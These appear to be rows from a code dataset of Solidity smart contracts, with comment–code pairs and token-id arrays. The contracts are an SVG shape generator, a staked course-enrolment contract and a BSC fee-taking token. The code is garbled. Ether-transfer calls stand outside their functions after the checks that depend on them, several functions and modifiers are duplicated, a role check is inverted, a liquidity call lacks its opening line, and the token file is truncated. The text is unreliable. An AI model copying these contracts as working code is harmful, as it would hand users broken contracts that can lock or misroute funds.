} | this generates the shapes of the svg image clear bath for start of shape draw a circle string of a circle with random position, radius, stroke colour and width, with transparent fill draw a rectandle string of a rectangle with random position, size, and fill colour | function generateShape(uint256 _randomNumber) internal pure returns(string memory pathSvg) {
pathSvg = "";
if (_randomNumber % 2 == 0) {
uint256[] memory circleVars = expand(_randomNumber, 7);
pathSvg = string(abi.encodePacked(pathSvg, "<circle cx='", string(Strings.toString(circleVars[0] % 500)), "' cy='", string(Strings.toString(circleVars[1] % 500)), "' r='", string(Strings.toString(circleVars[2] % 250)), "' stroke='rgb(", string(Strings.toString(circleVars[3] % 255)), ",", string(Strings.toString(circleVars[4] % 255)), ",", string(Strings.toString(circleVars[5] % 255)), ")' stroke-width='", string(Strings.toString(circleVars[6] % 100)), "' fill='transparent' />"));
uint256[] memory rectVars = expand((_randomNumber + 1), 7);
pathSvg = string(abi.encodePacked(pathSvg, "<rect x='", string(Strings.toString(rectVars[0] % 500)), "' y='", string(Strings.toString(rectVars[1] % 500)), "' width='", string(Strings.toString(rectVars[2] % 250)),"' height='", string(Strings.toString(rectVars[3] % 250)), "' fill='rgb(", string(Strings.toString(rectVars[4] % 255)),",", string(Strings.toString(rectVars[5] % 255)),",", string(Strings.toString(rectVars[6] % 255)), ")' />"));
}
}
| 6,483,108 | [
1,
2211,
6026,
326,
14736,
434,
326,
9804,
1316,
2424,
324,
421,
364,
787,
434,
2179,
3724,
279,
12470,
533,
434,
279,
12470,
598,
2744,
1754,
16,
5725,
16,
11040,
15046,
471,
1835,
16,
598,
17270,
3636,
3724,
279,
4917,
464,
298,
533,
434,
279,
11845,
598,
2744,
1754,
16,
963,
16,
471,
3636,
15046,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
2103,
8500,
12,
11890,
5034,
389,
9188,
1854,
13,
2713,
16618,
1135,
12,
1080,
3778,
589,
55,
20105,
13,
288,
203,
3639,
589,
55,
20105,
273,
1408,
31,
203,
3639,
309,
261,
67,
9188,
1854,
738,
576,
422,
374,
13,
288,
203,
5411,
2254,
5034,
8526,
3778,
12470,
5555,
273,
4542,
24899,
9188,
1854,
16,
2371,
1769,
203,
5411,
589,
55,
20105,
273,
533,
12,
21457,
18,
3015,
4420,
329,
12,
803,
55,
20105,
16,
3532,
18970,
9494,
2218,
3113,
533,
12,
7957,
18,
10492,
12,
18970,
5555,
63,
20,
65,
738,
6604,
13,
3631,
2491,
6143,
2218,
3113,
533,
12,
7957,
18,
10492,
12,
18970,
5555,
63,
21,
65,
738,
6604,
13,
3631,
2491,
436,
2218,
3113,
533,
12,
7957,
18,
10492,
12,
18970,
5555,
63,
22,
65,
738,
16927,
13,
3631,
2491,
11040,
2218,
10948,
2932,
16,
533,
12,
7957,
18,
10492,
12,
18970,
5555,
63,
23,
65,
738,
4561,
13,
3631,
3104,
3113,
533,
12,
7957,
18,
10492,
12,
18970,
5555,
63,
24,
65,
738,
4561,
13,
3631,
3104,
3113,
533,
12,
7957,
18,
10492,
12,
18970,
5555,
63,
25,
65,
738,
4561,
13,
3631,
315,
2506,
11040,
17,
2819,
2218,
3113,
533,
12,
7957,
18,
10492,
12,
18970,
5555,
63,
26,
65,
738,
2130,
13,
3631,
2491,
3636,
2218,
26516,
11,
28505,
10019,
203,
5411,
2254,
5034,
8526,
3778,
4917,
5555,
273,
4542,
12443,
67,
9188,
1854,
397,
404,
3631,
2371,
1769,
203,
5411,
589,
55,
20105,
273,
533,
12,
21457,
18,
3015,
4420,
329,
12,
803,
55,
2
]
|
./full_match/137/0xdE5233ADAaB7FD37eFb5E3dEe68222Eb38525d17/sources/contracts/CourseContract.sol | This address is basically the address that gets further funding to sustain and develop the Dapp :)Events for pretty much each functionNeed to track each address that deposits as a sponsor or studenttrack pass/fail for each studentDifferent Roles stored as bytes32 as detailed by openzeppelin Access Control ContractNOTE: ADMIN will be set to the multisig address.0xdf8b4c520ffe197c5343c6f5aec59570151ef9a492f2c624fd45ddde6135ec420x534b5b9fe29299d99ea2855da6940643d68ed225db268dc8d86c1f38df5de7940xc951d7098b66ba0b8b77265b6e9cf0e187d73125a42bcd0061b09a68be4218100x5f0a5f78118b6e0b700e0357ae3909aaafe8fa706a075935688657cf4135f9a9CourseFactory Contract address to update Teacher, Student, Sponsor and Academy info.After factory deployment, this is thie first function the teacher writes and setsthe contract creator as the TEACHER and the multisig wallet as the ADMIN & Default Admin. | contract CourseContract is AccessControl, Initializable {
address public teacher;
address[] public sponsors;
address[] public students;
event GrantRole(bytes32 role, address account);
event RevokeRole(bytes32 role, address account);
event DropOut(address indexed account);
event CourseStatus(bool courseStatus);
event PaymentStatus(bool paymentStatus);
event StudentEnrolled(address account);
event Sponsored(uint indexed sponsorDeposit, address account);
event CourseCompleted(address indexed account);
event ClaimPayment(uint paymentTimestamp);
mapping (address => uint) public studentDeposit;
mapping (address => uint) public sponsorDeposit;
mapping (address => bool) public courseCompleted;
bytes32 public constant ADMIN = keccak256("ADMIN");
bytes32 public constant TEACHER = keccak256("TEACHER");
bytes32 public constant STUDENT = keccak256("STUDENT");
bytes32 public constant SPONSOR = keccak256("SPONSOR");
address public factoryAddress;
CourseFactory factory;
function initialize(address _teacher, address _factoryAddress) public initializer {
_grantRole(DEFAULT_ADMIN_ROLE, peaceAntzCouncil);
_grantRole(ADMIN, peaceAntzCouncil);
_grantRole(TEACHER, _teacher);
factoryAddress = _factoryAddress;
factory = CourseFactory(factoryAddress);
teacher = _teacher;
}
function updateCourseStatus() external onlyRole(TEACHER){
require(courseStatus==false);
require(paymentStatus==true);
require(payment == sponsorshipTotal, "Course is has not been fully sponsored yet :(");
courseStatus=true;
paymentStatus=false;
factory.updateTeacherProgress(msg.sender,payment);
factory.updateSponsorsProgress(sponsors);
emit CourseStatus(true);
emit PaymentStatus(false);
}
function setAmount(uint _payment) external onlyRole(TEACHER){
require(paymentStatus==false, "You cannot change change payment after it has been set, please create another course.");
require(courseStatus==false, "You cannot change the payment.");
payment = _payment;
unchecked {
studentStake= _payment/div;
}
paymentStatus=true;
emit PaymentStatus(true);
}
function setAmount(uint _payment) external onlyRole(TEACHER){
require(paymentStatus==false, "You cannot change change payment after it has been set, please create another course.");
require(courseStatus==false, "You cannot change the payment.");
payment = _payment;
unchecked {
studentStake= _payment/div;
}
paymentStatus=true;
emit PaymentStatus(true);
}
function passStudent(address _account) external onlyRole(TEACHER){
require(!hasRole(STUDENT, _account),"Not a student!");
require(courseStatus==true);
courseCompleted[_account]=true;
paymentStatus = true;
require(success, "Failed to send stake back to student");
factory.updateStudentCourses(msg.sender, _account, studentStake);
emit PaymentStatus(true);
emit CourseCompleted(_account);
}
(bool success, ) = _account.call{value: studentStake}("");
function bootStudent(address _account) external onlyRole(TEACHER){
require(hasRole(STUDENT, _account),"Address is not enrolled :/");
revokeRole(STUDENT, _account);
require(success, "Failed to boot >:(");
factory.updateBoot(_account, studentStake);
emit DropOut(_account);
}
(bool success, ) = peaceAntzCouncil.call{value: studentStake}("");
function claimPayment() external onlyRole(TEACHER){
require(courseStatus == true,"You have to start and complete the course to collect sponsor payment.");
require(paymentStatus == true,"Please pass a student to complete the course.");
require(success, "Failed to claim :(");
factory.updatePaymentRank(msg.sender, sponsors, address(this), payment);
emit ClaimPayment(block.timestamp);
}
(bool success, ) = msg.sender.call{value: payment}("");
function enroll()external payable{
require(!hasRole(TEACHER, msg.sender),"Teachers cannot enroll in their own course!");
require(courseStatus == false, "Course has already started :(");
require(!hasRole(STUDENT, msg.sender),"You are enrolled already!");
require(msg.value == studentStake, "Please Stake the Correct Amount");
require(paymentStatus == true, "Enrollment Closed");
studentStake = msg.value;
grantRole(STUDENT, msg.sender);
studentDeposit[msg.sender] = studentStake;
factory.updateStudentStake(msg.sender, studentStake);
emit StudentEnrolled(msg.sender);
}
function withdraw () external payable {
require(hasRole(STUDENT, msg.sender),"You are not enrolled!");
require(address(this).balance >= studentStake, "No balance available");
require(courseStatus == false, "You have to dropout because the course has started.");
require(msg.value == 0,"Leave value empty.");
studentDeposit[msg.sender] = 0;
revokeRole(STUDENT, msg.sender);
require(success, "Failed to withdraw :(");
factory.updateWithdraw(msg.sender, studentStake);
emit RevokeRole(STUDENT, msg.sender);
}
(bool success, ) = msg.sender.call{value: studentStake}("");
function dropOut() external payable onlyRole(STUDENT){
require(courseStatus == true, "Course has not started yet, feel free to simply withdraw :)");
require(courseCompleted[msg.sender] == false, "You have completed the course already!");
require(success, "Failed to drop course :(");
revokeRole(STUDENT, msg.sender);
factory.updateDropout(msg.sender, studentStake);
emit DropOut(msg.sender);
}
(bool success, ) = peaceAntzCouncil.call{value: studentStake}("");
function sponsor() external payable {
require(courseStatus == false, "Course has already begun.");
require(payment>sponsorshipTotal,"This course is fully sponsored :)");
require(msg.value >0, "Please input amount you wish to sponsor");
require(msg.value<=(payment-sponsorshipTotal), "Please input the Sponsorship amount needed or less");
grantRole(SPONSOR, msg.sender);
sponsors.push(msg.sender);
uint currentDeposit = sponsorDeposit[msg.sender] + msg.value;
uint _sponsorshipTotal = sponsorshipTotal + msg.value;
assert(_sponsorshipTotal >= sponsorshipTotal);
sponsorshipTotal = _sponsorshipTotal;
sponsorDeposit[msg.sender] = currentDeposit;
factory.updateSponsorship(msg.sender, msg.value);
emit Sponsored(currentDeposit, msg.sender);
}
function unsponsor(address payable _to, uint _amount) external payable onlyRole(SPONSOR){
require(courseStatus == false, "Course has already begun.");
require(_amount>0,"Please input an amount to unsponsor");
require(_amount<=sponsorDeposit[_to], "That is more than you have sponsored");
require(_to == msg.sender,"You are not the owner of this address.");
require(success, "Failed to withdraw :(");
uint currentDeposit = sponsorDeposit[_to] - _amount;
assert(currentDeposit <= sponsorDeposit[_to]);
uint _sponsorshipTotal = sponsorshipTotal - _amount;
assert(_sponsorshipTotal <= sponsorshipTotal);
sponsorshipTotal = _sponsorshipTotal;
sponsorDeposit[_to]=currentDeposit;
if (sponsorDeposit[_to] == 0){
revokeRole(SPONSOR, _to);
factory.updateUnsponsor(msg.sender, _amount);
emit RevokeRole(SPONSOR, _to);
}
}
(bool success, ) = _to.call{value: _amount}("");
function unsponsor(address payable _to, uint _amount) external payable onlyRole(SPONSOR){
require(courseStatus == false, "Course has already begun.");
require(_amount>0,"Please input an amount to unsponsor");
require(_amount<=sponsorDeposit[_to], "That is more than you have sponsored");
require(_to == msg.sender,"You are not the owner of this address.");
require(success, "Failed to withdraw :(");
uint currentDeposit = sponsorDeposit[_to] - _amount;
assert(currentDeposit <= sponsorDeposit[_to]);
uint _sponsorshipTotal = sponsorshipTotal - _amount;
assert(_sponsorshipTotal <= sponsorshipTotal);
sponsorshipTotal = _sponsorshipTotal;
sponsorDeposit[_to]=currentDeposit;
if (sponsorDeposit[_to] == 0){
revokeRole(SPONSOR, _to);
factory.updateUnsponsor(msg.sender, _amount);
emit RevokeRole(SPONSOR, _to);
}
}
} | 3,769,701 | [
1,
2503,
1758,
353,
23772,
326,
1758,
716,
5571,
9271,
22058,
358,
272,
641,
530,
471,
17196,
326,
463,
2910,
294,
13,
3783,
364,
7517,
9816,
1517,
445,
14112,
358,
3298,
1517,
1758,
716,
443,
917,
1282,
487,
279,
272,
500,
2467,
578,
18110,
4101,
1342,
19,
6870,
364,
1517,
18110,
26270,
19576,
4041,
487,
1731,
1578,
487,
6864,
635,
1696,
94,
881,
84,
292,
267,
5016,
8888,
13456,
17857,
30,
25969,
903,
506,
444,
358,
326,
22945,
360,
1758,
18,
20,
92,
2180,
28,
70,
24,
71,
25,
3462,
1403,
73,
31728,
71,
25,
5026,
23,
71,
26,
74,
25,
69,
557,
6162,
10321,
1611,
10593,
10241,
29,
69,
7616,
22,
74,
22,
71,
26,
3247,
8313,
7950,
449,
323,
26,
26612,
557,
24,
3462,
92,
25,
5026,
70,
25,
70,
29,
3030,
5540,
22,
2733,
72,
2733,
24852,
6030,
2539,
2414,
8148,
7132,
1105,
23,
72,
9470,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
16351,
385,
3117,
8924,
353,
24349,
16,
10188,
6934,
288,
203,
203,
565,
1758,
1071,
6489,
27779,
31,
203,
565,
1758,
8526,
1071,
272,
500,
87,
1383,
31,
203,
565,
1758,
8526,
1071,
10068,
4877,
31,
203,
203,
203,
565,
871,
19689,
2996,
12,
3890,
1578,
2478,
16,
1758,
2236,
1769,
203,
565,
871,
23863,
2996,
12,
3890,
1578,
2478,
16,
1758,
2236,
1769,
203,
565,
871,
10895,
1182,
12,
2867,
8808,
2236,
1769,
203,
565,
871,
385,
3117,
1482,
12,
6430,
4362,
1482,
1769,
203,
565,
871,
12022,
1482,
12,
6430,
5184,
1482,
1769,
203,
565,
871,
934,
1100,
319,
664,
25054,
12,
2867,
2236,
1769,
203,
565,
871,
348,
500,
87,
7653,
12,
11890,
8808,
272,
500,
2467,
758,
1724,
16,
1758,
2236,
1769,
203,
565,
871,
385,
3117,
9556,
12,
2867,
8808,
2236,
1769,
203,
565,
871,
18381,
6032,
12,
11890,
5184,
4921,
1769,
203,
203,
565,
2874,
261,
2867,
516,
2254,
13,
1071,
18110,
758,
1724,
31,
203,
565,
2874,
261,
2867,
516,
2254,
13,
1071,
272,
500,
2467,
758,
1724,
31,
203,
565,
2874,
261,
2867,
516,
1426,
13,
1071,
4362,
9556,
31,
203,
203,
565,
1731,
1578,
1071,
5381,
25969,
273,
417,
24410,
581,
5034,
2932,
15468,
8863,
203,
565,
1731,
1578,
1071,
5381,
25156,
18133,
654,
273,
417,
24410,
581,
5034,
2932,
1448,
18133,
654,
8863,
203,
565,
1731,
1578,
1071,
5381,
2347,
12587,
2222,
273,
417,
24410,
581,
5034,
2932,
882,
12587,
2222,
8863,
203,
565,
1731,
1578,
1071,
5381,
11405,
673,
55,
916,
273,
417,
2
]
|
./full_match/56/0x0e93023cA9e62fA636C6d59DC618B612e886574D/sources/FreeToken.sol | CONFIG START CONFIG END Antiwhale sınırına tabi olan işlemler için kontrol fonksiyonu | contract FreeToken is ERC20, Ownable{
uint256 private initialSupply;
uint256 private denominator = 100;
uint256 private devTaxBuy;
uint256 private marketingTaxBuy;
uint256 private liquidityTaxBuy;
uint256 private charityTaxBuy;
uint256 private devTaxSell;
uint256 private marketingTaxSell;
uint256 private liquidityTaxSell;
uint256 private charityTaxSell;
address private devTaxWallet;
address private marketingTaxWallet;
address private liquidityTaxWallet;
address private charityTaxWallet;
address private appOwner;
string public message;
mapping (address => bool) private excludeList;
mapping (string => uint256) private buyTaxes;
mapping (string => uint256) private sellTaxes;
mapping (string => address) private taxWallets;
bool public taxStatus = true;
IUniswapV2Router02 private uniswapV2Router02;
IUniswapV2Factory private uniswapV2Factory;
IUniswapV2Pair private uniswapV2Pair;
uint256 public maxWalletTokens;
uint256 public maxTxAmount;
mapping(address => bool) private isExcludedFromWhaleLimit;
modifier antiWhale(address sender, address recipient, uint256 amount) {
if (!isExcludedFromWhaleLimit[sender] && !isExcludedFromWhaleLimit[recipient]) {
require(amount <= maxTxAmount, "CoinToken: Transaction amount exceeds the maximum allowed limit");
require(balanceOf(recipient) + amount <= maxWalletTokens, "CoinToken: Recipient's balance would exceed the maximum allowed limit");
}
_;
}
constructor(string memory _tokenName, string memory _tokenSymbol, uint256 _supply, address[6] memory _addr, uint256[8] memory _value, uint8 _decimals, address _appOwner, uint256 _maxWalletTokens, uint256 _maxTxAmount,string memory _message) ERC20(_tokenName, _tokenSymbol, _decimals)
modifier antiWhale(address sender, address recipient, uint256 amount) {
if (!isExcludedFromWhaleLimit[sender] && !isExcludedFromWhaleLimit[recipient]) {
require(amount <= maxTxAmount, "CoinToken: Transaction amount exceeds the maximum allowed limit");
require(balanceOf(recipient) + amount <= maxWalletTokens, "CoinToken: Recipient's balance would exceed the maximum allowed limit");
}
_;
}
constructor(string memory _tokenName, string memory _tokenSymbol, uint256 _supply, address[6] memory _addr, uint256[8] memory _value, uint8 _decimals, address _appOwner, uint256 _maxWalletTokens, uint256 _maxTxAmount,string memory _message) ERC20(_tokenName, _tokenSymbol, _decimals)
{
initialSupply =_supply * (10** ERC20.decimals());
_setOwner(_addr[5]);
uniswapV2Router02 = IUniswapV2Router02(_addr[1]);
uniswapV2Factory = IUniswapV2Factory(uniswapV2Router02.factory());
uniswapV2Pair = IUniswapV2Pair(uniswapV2Factory.createPair(address(this), uniswapV2Router02.WETH()));
taxWallets["liquidity"] = _addr[0];
setBuyTax(_value[0], _value[1], _value[3], _value[2]);
setSellTax(_value[4], _value[5], _value[7], _value[6]);
setTaxWallets(_addr[2], _addr[3], _addr[4]);
exclude(msg.sender);
exclude(address(this));
_mint(msg.sender, initialSupply);
appOwner = _appOwner;
maxTxAmount = _maxTxAmount;
maxWalletTokens = _maxWalletTokens;
isExcludedFromWhaleLimit[_addr[5]] = true;
message = _message;
}
uint256 private marketingTokens;
uint256 private devTokens;
uint256 private liquidityTokens;
uint256 private charityTokens;
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10 ** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 marketingETH = (ethGained * ((marketingTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 devETH = (ethGained * ((devTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 charityETH = (ethGained * ((charityTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
_approve(address(this), address(uniswapV2Router02), liquidityToken);
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10 ** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 marketingETH = (ethGained * ((marketingTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 devETH = (ethGained * ((devTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 charityETH = (ethGained * ((charityTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
_approve(address(this), address(uniswapV2Router02), liquidityToken);
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10 ** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 marketingETH = (ethGained * ((marketingTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 devETH = (ethGained * ((devTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 charityETH = (ethGained * ((charityTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
_approve(address(this), address(uniswapV2Router02), liquidityToken);
address(this),
liquidityToken,
0,
0,
taxWallets["liquidity"],
block.timestamp
);
uint256 remainingTokens = (marketingTokens + devTokens + liquidityTokens + charityTokens) - (toSell + amountToken);
if(remainingTokens > 0) {
_transfer(address(this), taxWallets["dev"], remainingTokens);
}
if(ethGained - (marketingETH + devETH + liquidityETH + charityETH) > 0) {
}
marketingTokens = 0;
devTokens = 0;
liquidityTokens = 0;
charityTokens = 0;
}
}
amount -= tax;
}
return amount;
}
function handleTax(address from, address to, uint256 amount) private returns (uint256) {
address[] memory sellPath = new address[](2);
sellPath[0] = address(this);
sellPath[1] = uniswapV2Router02.WETH();
if(!isExcluded(from) && !isExcluded(to)) {
uint256 tax;
uint256 baseUnit = amount / denominator;
if(from == address(uniswapV2Pair)) {
tax += baseUnit * buyTaxes["marketing"];
tax += baseUnit * buyTaxes["dev"];
tax += baseUnit * buyTaxes["liquidity"];
tax += baseUnit * buyTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * buyTaxes["marketing"];
devTokens += baseUnit * buyTaxes["dev"];
liquidityTokens += baseUnit * buyTaxes["liquidity"];
charityTokens += baseUnit * buyTaxes["charity"];
tax += baseUnit * sellTaxes["marketing"];
tax += baseUnit * sellTaxes["dev"];
tax += baseUnit * sellTaxes["liquidity"];
tax += baseUnit * sellTaxes["charity"];
if(tax > 0) {
_transfer(from, address(this), tax);
}
marketingTokens += baseUnit * sellTaxes["marketing"];
devTokens += baseUnit * sellTaxes["dev"];
liquidityTokens += baseUnit * sellTaxes["liquidity"];
charityTokens += baseUnit * sellTaxes["charity"];
uint256 taxSum = marketingTokens + devTokens + liquidityTokens + charityTokens;
if(taxSum == 0) return amount;
uint256 ethValue = uniswapV2Router02.getAmountsOut(marketingTokens + devTokens + liquidityTokens + charityTokens, sellPath)[1];
if(ethValue >= swapThreshold) {
uint256 startBalance = address(this).balance;
uint256 toSell = marketingTokens + devTokens + liquidityTokens / 2 + charityTokens;
_approve(address(this), address(uniswapV2Router02), toSell);
uniswapV2Router02.swapExactTokensForETH(
toSell,
0,
sellPath,
address(this),
block.timestamp
);
uint256 ethGained = address(this).balance - startBalance;
uint256 liquidityToken = liquidityTokens / 2;
uint256 liquidityETH = (ethGained * ((liquidityTokens / 2 * 10 ** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 marketingETH = (ethGained * ((marketingTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 devETH = (ethGained * ((devTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
uint256 charityETH = (ethGained * ((charityTokens * 10** ERC20.decimals()) / taxSum)) / 10** ERC20.decimals();
_approve(address(this), address(uniswapV2Router02), liquidityToken);
address(this),
liquidityToken,
0,
0,
